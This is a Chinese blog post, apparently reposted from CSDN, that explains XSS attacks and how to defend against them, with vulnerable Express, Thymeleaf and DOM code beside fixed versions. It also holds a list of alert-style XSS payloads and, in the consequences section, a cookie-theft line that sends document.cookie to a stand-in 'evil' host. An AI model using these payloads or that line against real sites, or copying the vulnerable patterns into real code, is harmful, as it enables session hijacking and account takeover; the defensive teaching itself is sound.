文章中如果有图看不到,可以点这里去 csdn 看看。从那边导过来的,文章太多,没法一篇篇修改好。

XSS(跨站脚本攻击)详解【场景、影响、检测、防护】

XSS 攻击 原理详解(高密度技术版)

XSS(Cross‑Site Scripting) 是指攻击者向网页注入恶意脚本(通常是 JavaScript),当受害者在浏览器上打开被注入的页面时,这些脚本在受害者的上下文(同源策略下)执行,从而窃取凭证、篡改页面、劫持会话、发起 CSRF、Keylogger、代理请求等。

基本原理

  • 浏览器信任域名与页面上下文:脚本在页面上下文运行且拥有与页面同样的权限(例如访问 DOM、读取/写入 cookies(除 HttpOnly)、发起 XHR/fetch 等)。
  • XSS 的核心就是让浏览器误认为攻击者提供的脚本是“页面可信内容”,从而执行它。
  • 触发路径通常是:用户可控输入 → 服务器/客户端未正确处理/编码 → 输出回页面并被浏览器解析执行

在这里插入图片描述

XSS 的三大类型(必须非常清楚的区别)

  1. 反射型(Reflected XSS / Non-persistent)

    • 请求中的恶意负载(如 URL 参数、表单字段)直接在响应中反射并执行。常见于搜索、登录错误提示、查询页面等。
    • 利用方式:构造带恶意脚本的 URL,诱导用户点击(钓鱼邮件、社交工程)。
  2. 存储型(Stored XSS / Persistent)

    • 恶意脚本被持久存储在服务器(数据库、日志、评论区、用户资料等),之后任意用户访问时脚本会被加载并执行。危害最大,易大规模传播。
  3. DOM‑based XSS(客户端型)

    • 发生在客户端 JavaScript 操作 DOM 时,直接从 location, hash, document.referrer 等读取不可信数据并插入 DOM(无经过服务器过滤)。原理在浏览器端,服务器响应可能看起来“安全”但客户端脚本存在漏洞。

常见恶意负载示例(payload)

  • 简单执行脚本:
<script>alert(1)</script>
  • 属性内(如 <img>)执行:
<img src=x onerror=alert(1)>
  • href 注入(javascript:):
<a href="javascript:alert(1)">click</a>
  • 混淆与绕过:
<svg/onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
  • DOM 型示例(通过 location.hash):
http://site/page#<img src=x onerror=alert(1)>

源码级示例与分析(包含漏洞与修复)

下面给出典型 web 环境中常见的易受 XSS 的代码片段与安全化改造示例,覆盖前端、后端(Java + Spring / Node.js/Express)以及模板渲染的场景。


1) 反射型示例(Node.js / Express,易受 XSS)

易受攻击的实现(示例)

// app.js (vulnerable)
app.get('/search', (req, res) => {
  const q = req.query.q || '';
  // 直接把用户输入写回 HTML(未编码)
  res.send(`<html><body>Search: ${q}</body></html>`);
});

如果请求 /search?q=<script>alert(1)</script>,脚本会被执行。

修复(输出编码 / 转义)

const escapeHtml = s => s
  .replace(/&/g, '&amp;')
  .replace(/</g, '&lt;')
  .replace(/>/g, '&gt;')
  .replace(/"/g, '&quot;')
  .replace(/'/g, '&#x27;');
app.get('/search', (req, res) => {
  const q = escapeHtml(req.query.q || '');
  res.send(`<html><body>Search: ${q}</body></html>`);
});

要点:所有直接插入到 HTML 内容中的用户控件都必须进行 HTML 转义(对于不同上下文,使用不同编码,详见下文“上下文敏感编码”)。


2) 存储型示例(Java + Spring Boot + Thymeleaf)

易受攻击(存储并回显)

  • 评论存储到 DB,前端直接渲染:
// Controller - 接收评论
@PostMapping("/comment")
public String postComment(@RequestParam String content) {
    commentService.save(content);
    return "redirect:/post/1";
}
// Template (Thymeleaf) - 直接输出
<p th:utext="${comment.content}"></p> <!-- utetx = unescaped text -->

th:utext 或直接把内容插入为 HTML,会导致存储型 XSS。

修复

  • 永远在输出时进行编码(在模板使用转义输出):
<p th:text="${comment.content}"></p> <!-- th:text 自动转义 -->
  • 或在存储时对 HTML 进行白名单化(比如使用 OWASP Java HTML Sanitizer),而非简单删除所有标签(除非业务允许)。

使用白名单清理示例(Java)

PolicyFactory policy = new HtmlPolicyBuilder()
    .allowElements("a","b","i","strong","em","p")
    .allowAttributes("href").onElements("a")
    .toFactory();

String safe = policy.sanitize(userInput);

注意:白名单策略必须非常严格,并且尽量在显示阶段而非输入阶段进行,以保持原始数据审计能力。


3) DOM‑based XSS 示例(前端)

易受攻击场景

<!-- index.html -->
<script>
  // 读取 hash 并写入 DOM(没有任何过滤)
  document.getElementById('msg').innerHTML = location.hash.substring(1);
</script>
<div id="msg"></div>

访问 http://site/#<img src=x onerror=alert(1)> 会触发。

修复

  • 避免使用 innerHTML 处理不可信数据,使用 textContent / innerText
document.getElementById('msg').textContent = location.hash.substring(1);
  • 或对插入 HTML 做严格的解析白名单(例如 DOMPurify)在确实需要插入 HTML 时使用。

4) 在不同上下文下的编码(最致命的细节)

XSS 防护不是“单一 encode”就完事:必须按照 输出上下文 选择正确编码方式:

  • HTML 内容(元素文本) → HTML escape (< -> &lt;, & -> &amp;, …)
  • HTML 属性值(在双引号/单引号内) → attribute escape + 引号处理
  • JavaScript 上下文(内嵌脚本) → JS 字面量/字符串编码(或避免直接把用户输入插入脚本)
  • URL 上下文(href、src) → URL encode 并验证协议(阻止 javascript:data: 等)
  • CSS 上下文(style 属性) → CSS 转义或避免直接注入
  • DOM API(innerHTML vs textContent) → 尽量使用安全 API(textContent、setAttribute)

示例:若必须将用户输入放入 JavaScript 字符串常量中,使用专门的 JS 转义函数而不是 HTML 转义。错误使用会导致绕过。


利用链/攻击后果(攻击者能做什么)

  • 窃取会话(读取非 HttpOnly 的 cookie),并把它发送给攻击者(例如通过 XMLHttpRequest<img src="https://evil/?c="+document.cookie>
  • 劫持账户(以受害者身份发起事务、转账、发布内容)
  • 持久化恶意 JS(存储型)导致大规模感染(例如评论区)
  • 键盘记录、屏幕劫持、钓鱼(伪造页面 UI 以骗取凭证)
  • 绕过 CSRF(在用户认证上下文中直接提交请求)
  • 持久性后门(植入脚本定时与 C2 通信)
  • 扩展到企业内网(若页面能访问内网资源)

风险评估(如何判断严重性)

常见评估维度(类似 OWASP 风险模型):

  • 可触达性:多少目标用户会访问受影响页面?(public comment vs admin dashboard)
  • 持久性:是反射型临时攻击还是存储型持久影响?
  • 权限上下文:受害者是否有高权限(管理员、财务人员)?
  • 可自动化程度:是否可通过 CS or CSRF 链接诱导自动执行?
  • 可利用性:是否有简单 payload 能成功触发;是否需要复杂条件/浏览器版本?
    高风险通常是:存储型、影响大量高权限用户、可窃取凭证或执行敏感操作的漏洞。

检测与验证方法(渗透/审计时常用)

  • 手工检查:输入点遍历(URL 参数、表单、HTTP头、Referer、User-Agent、文件上传、数据库字段、第三方返回等)。
  • 常见 payload 列表测试<script>alert(1)</script>, <img src=x onerror=...>,以及针对上下文的 payload。
  • 黑盒扫描器:Burp Suite(Active Scan)、OWASP ZAP(注意误报/漏报)。
  • 源代码静态审计:查找 innerHTML, eval, document.write, innerText/textContent 误用,模板中使用不当的 unescaped 输出(如模板引擎的 raw/unescaped output)。
  • 动态分析:使用浏览器 DevTools 查看是否能读取 cookies、执行 XHR、改写 DOM。
  • 安全头检查:CSP、X-XSS-Protection(已废弃但仍可检查)、Strict-Transport-Security 等。
    在这里插入图片描述

防护策略(按优先级与细节)

在这里插入图片描述

1) 最基本原则:对不可信输入“默认不信任”,对输出“必须编码

  • 输出阶段而非在输入阶段做编码/清理(输出上下文不同,输出时才能选择正确编码)。
  • 对不同上下文进行上下文敏感转义(HTML、attr、JS、URL、CSS)。
  • 前端尽量使用 textContent / innerText / setAttribute,避免 innerHTML / document.write 除非经过白名单清理(DOMPurify、OWASP sanitizer)。

2) 内容安全策略(CSP)

  • 部署 CSP(Content-Security-Policy)来减少 XSS 的影响:

    • 禁止内联脚本 script-src 'self'(或使用 nonce/hash),禁止 unsafe-inline
    • 限制可加载的脚本来源和资源域,限制 frame-ancestors
  • CSP 不能代替编码,但能显著提高攻击成本和降低成功率。

3) 使用安全的模板与库

  • 使用能自动转义的模板引擎(Thymeleaf、Mustache、Handlebars 等默认转义版本)。
  • 避免使用 {{{raw}}} 或未经转义的输出选项,除非非常必要并且使用白名单化清理。

4) HttpOnly & Secure Cookie

  • 对会话 cookie 设置 HttpOnly(防止 JS 读取)与 Secure(仅 HTTPS)和 SameSite(防 CSRF /部分保护)。
  • 注意:HttpOnly 无法防止 CSRF,但能阻止 XSS 直接读 cookie。

5) 输入验证与最小权限原则

  • 虽然输入验证不能替代输出编码,但仍应限制输入长度、类型和允许的字符范围(白名单)。
  • 对于允许 HTML 的功能(富文本编辑)应使用严格的白名单 sanitizer(例如 DOMPurify、OWASP Java HTML Sanitizer),并在显示时再次清理。

6) 避免危险 API

  • 在前端避免使用 eval, new Function, setTimeout(string), innerHTML 等容易导致注入的 API。
  • 在后端避免把用户输入嵌入到 script 块或事件处理属性中。

7) 时间同步 + 日志与审计

  • 记录注入来源与用户、时间,方便溯源与恢复。
  • 对敏感页面增加监控与告警(异常 JS 执行、异常请求量等)。

8) 安全头部与浏览器策略

  • CSP(首要)
  • X-Content-Type-Options: nosniff
  • X-Frame-Options / frame-ancestors
  • Referrer-Policy
  • HSTS

代码级常用工具与实战示例

前端:使用 DOMPurify 清理 HTML(当需要允许部分 HTML 时)

<script src="https://unpkg.com/dompurify@2.0.17/dist/purify.min.js"></script>
<script>
  const dirty = userProvidedHtml;
  const clean = DOMPurify.sanitize(dirty, {ALLOWED_TAGS: ['b','i','a','p','br'], ALLOWED_ATTR: ['href']});
  document.getElementById('content').innerHTML = clean;
</script>

Java 后端:使用 OWASP Java HTML Sanitizer

PolicyFactory policy = new HtmlPolicyBuilder()
    .allowElements("a", "b", "i", "p")
    .allowAttributes("href").onElements("a")
    .toFactory();
String safe = policy.sanitize(userInput);

Spring MVC / Thymeleaf 常见建议

  • 在模板尽量用 th:text(转义)而非 th:utext(非转义)。
  • 对 REST API 返回 JSON 的场景,也要注意前端如何使用:不要把未经转义的字符串直接 innerHTML 注入。

实战测试(渗透 / 红队小贴士)

  • 利用 Burp 或浏览器直接构造请求测试全部输入点(headers、cookies、POST/PUT body、JSON、multipart、file metadata)。
  • 测试 DOM XSS:利用 URL 的 hashsearchreferrer 等尝试触发 innerHTMLdocument.write 等。
  • 测试协议绕过:检查 href/src 属性是否允许 javascript:data:vbscript:
  • 测试 CSP:通过引入外部脚本、内联脚本尝试触发,并检查 CSP 是否生效(浏览器控制台会有违规报告)。
  • 对存储型 XSS,注意对回显路径做追踪:输入 -> DB -> 其它 endpoint -> 渲染点。

常见误区(需避免)

  • “只做输入过滤就够了” —— 错误。必须按照输出上下文做编码。
  • “CSP 完全能防 XSS” —— 不是。CSP 是防护层,不能替代编码/白名单。
  • “HttpOnly cookie 可以完全阻止 XSS 的危害” —— 只能阻止脚本直接读取 cookie,但脚本仍然可以在受害者上下文内发起操作(例如隐式请求、发帖、发起转账)。
  • “只在某些页面加转义” —— 必须在所有可能输出用户内容的地方都严格处理。

总结与工程化建议(Checklist)

  1. 对所有输出采用上下文敏感编码(HTML/Attr/JS/URL/CSS)。
  2. 禁止/限制 innerHTMLevaldocument.write 等危险 API;若必须使用,使用成熟 sanitizer(DOMPurify、OWASP sanitizer)。
  3. 对可存储的 HTML 使用严格白名单并在输出时再次清理。
  4. 部署 CSP(禁止内联脚本并限制来源),同时使用 report-uri/report-to 收集 CSP 报告。
  5. 为会话 cookie 设置 HttpOnly, Secure, SameSite
  6. 审计第三方库(包括富文本编辑器)并升级到安全版本(很多富文本组件历史上频繁成为 XSS 渗透点)。
  7. 在 CI/CD 加入自动化安全扫描(SAST/DAST),并在代码评审中把 XSS 检查作为必查项。
  8. 对高风险页面(admin、财务)做额外防护与监控,必要时做严格的输入白名单或双重验证交互。
posted @ 2025-09-28 16:41  NeoLshu  阅读(10)  评论(0)    收藏  举报  来源